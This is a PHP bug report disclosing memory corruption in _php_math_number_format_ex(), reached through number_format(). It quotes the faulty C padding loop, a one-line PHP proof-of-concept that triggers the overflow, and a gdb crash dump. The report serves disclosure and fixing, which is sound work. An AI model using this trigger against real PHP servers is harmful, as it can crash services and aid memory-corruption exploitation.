Memory corruption due to missing check size in _php_math_number_format_ex()

The fix for this bug has been committed: https://bugs.php.net/bug.php?id=73424 Description: ------------ I have found some vulnerable code at ```_php_math_number_format_ex()``` function. ```_php_math_number_format_ex()``` function is an internal function which is called from ```number_format()``` function. ```number_format()``` function takes in a number and uses it as the number of decimal points. If the number of decimal points is huge, it may lead to memory corruption. ``` c PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point, size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len) { .... /* copy the decimal places. * Take care, as the sprintf implementation may return less places than * we requested due to internal buffer limitations */ if (dec) { int declen = (int)(dp ? s - dp : 0); int topad = dec > declen ? dec - declen : 0; /* pad with '0's */ while (topad--) { *t-- = '0'; } .... } } ``` Test script: --------------- ``` php <?php ini_set('memory_limit', -1); number_format(1.337E+308, PHP_INT_MAX, "BBBBBBBBB", str_repeat("A", 0x0160b60c)); ?> ``` Actual result: -------------- ``` [----------------------------------registers-----------------------------------] EAX: 0x737774ab EBX: 0xb7867283 --> 0x30 ('0') ECX: 0x35c88b54 EDX: 0xb5c88a14 --> 0x30 ('0') ESI: 0xb7867145 (".", '0' <repeats 199 times>...) EDI: 0x7ffffec1 EBP: 0xb7867010 ("1337", '0' <repeats 13 times>, "977059649492062330579754870427181437339291312645302506433696319272398884101913791272347002725778172418503727508120535851302028850301527089221876489630532016587850114320486631775390034"...) ESP: 0xbfffbf00 --> 0x0 EIP: 0x8279538 (<_php_math_number_format_ex+776>: mov BYTE PTR [ecx+eax*1],0x30) EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8279531 <_php_math_number_format_ex+769>: sub ecx,edi 0x8279533 <_php_math_number_format_ex+771>: nop 0x8279534 <_php_math_number_format_ex+772>: lea esi,[esi+eiz*1+0x0] => 0x8279538 <_php_math_number_format_ex+776>: mov BYTE PTR [ecx+eax*1],0x30 0x827953c <_php_math_number_format_ex+780>: sub eax,0x1 0x827953f <_php_math_number_format_ex+783>: cmp eax,0xffffffff 0x8279542 <_php_math_number_format_ex+786>: jne 0x8279538 <_php_math_number_format_ex+776> 0x8279544 <_php_math_number_format_ex+788>: sub edx,edi [------------------------------------stack-------------------------------------] 0000| 0xbfffbf00 --> 0x0 0004| 0xbfffbf04 --> 0x87f5103 ("%.*F") 0008| 0xbfffbf08 --> 0x7fffffff 0012| 0xbfffbf0c --> 0xd28a58c8 0016| 0xbfffbf10 --> 0x7fe7cca4 0020| 0xbfffbf14 --> 0xb785f134 --> 0x836d410 (<ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER>: push ebp) 0024| 0xbfffbf18 --> 0xb7867000 --> 0x1 0028| 0xbfffbf1c --> 0xc888a05 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0xb7803450 "BBBBBBBBB", dec_point_len=0x9, thousand_sep=0xb5e00010 'A' <repeats 200 times>..., thousand_sep_len=0x160b60c) at /home/skynet/PHP-7.1/ext/standard/math.c:1190 1190 *t-- = '0'; gdb-peda$ bt #0 _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0xb7803450 "BBBBBBBBB", dec_point_len=0x9, thousand_sep=0xb5e00010 'A' <repeats 200 times>..., thousand_sep_len=0x160b60c) at /home/skynet/PHP-7.1/ext/standard/math.c:1190 #1 0x082797db in zif_number_format (execute_data=0xb7814080, return_value=0xbfffbfd0) at /home/skynet/PHP-7.1/ext/standard/math.c:1264 #2 0x0836d576 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /home/skynet/PHP-7.1/Zend/zend_vm_execute.h:628 #3 0x0835e082 in execute_ex (ex=0xb7814020) at /home/skynet/PHP-7.1/Zend/zend_vm_execute.h:429 #4 0x083ad11b in zend_execute (op_array=op_array@entry=0xb7864180, return_value=return_value@entry=0x0) at /home/skynet/PHP-7.1/Zend/zend_vm_execute.h:474 #5 0x0831d8c0 in zend_execute_scripts (type=type@entry=0x8, retval=retval@entry=0x0, file_count=file_count@entry=0x3) at /home/skynet/PHP-7.1/Zend/zend.c:1464 #6 0x082bf44b in php_execute_script (primary_file=primary_file@entry=0xbfffe2b8) at /home/skynet/PHP-7.1/main/main.c:2533 #7 0x083af46a in do_cli (argc=argc@entry=0x3, argv=argv@entry=0x88c5a88) at /home/skynet/PHP-7.1/sapi/cli/php_cli.c:990 #8 0x0806d484 in main (argc=0x3, argv=0x88c5a88) at /home/skynet/PHP-7.1/sapi/cli/php_cli.c:1378 #9 0xb7c08943 in __libc_start_main (main=0x806cfb0 <main>, argc=0x3, ubp_av=0xbffff564, init=0x83b6fc0 <__libc_csu_init>, fini=0x83b7030 <__libc_csu_fini>, rtld_fini=0xb7fee700 <_dl_fini>, stack_end=0xbffff55c) at libc-start.c:274 #10 0x0806d511 in _start () gdb-peda$ ```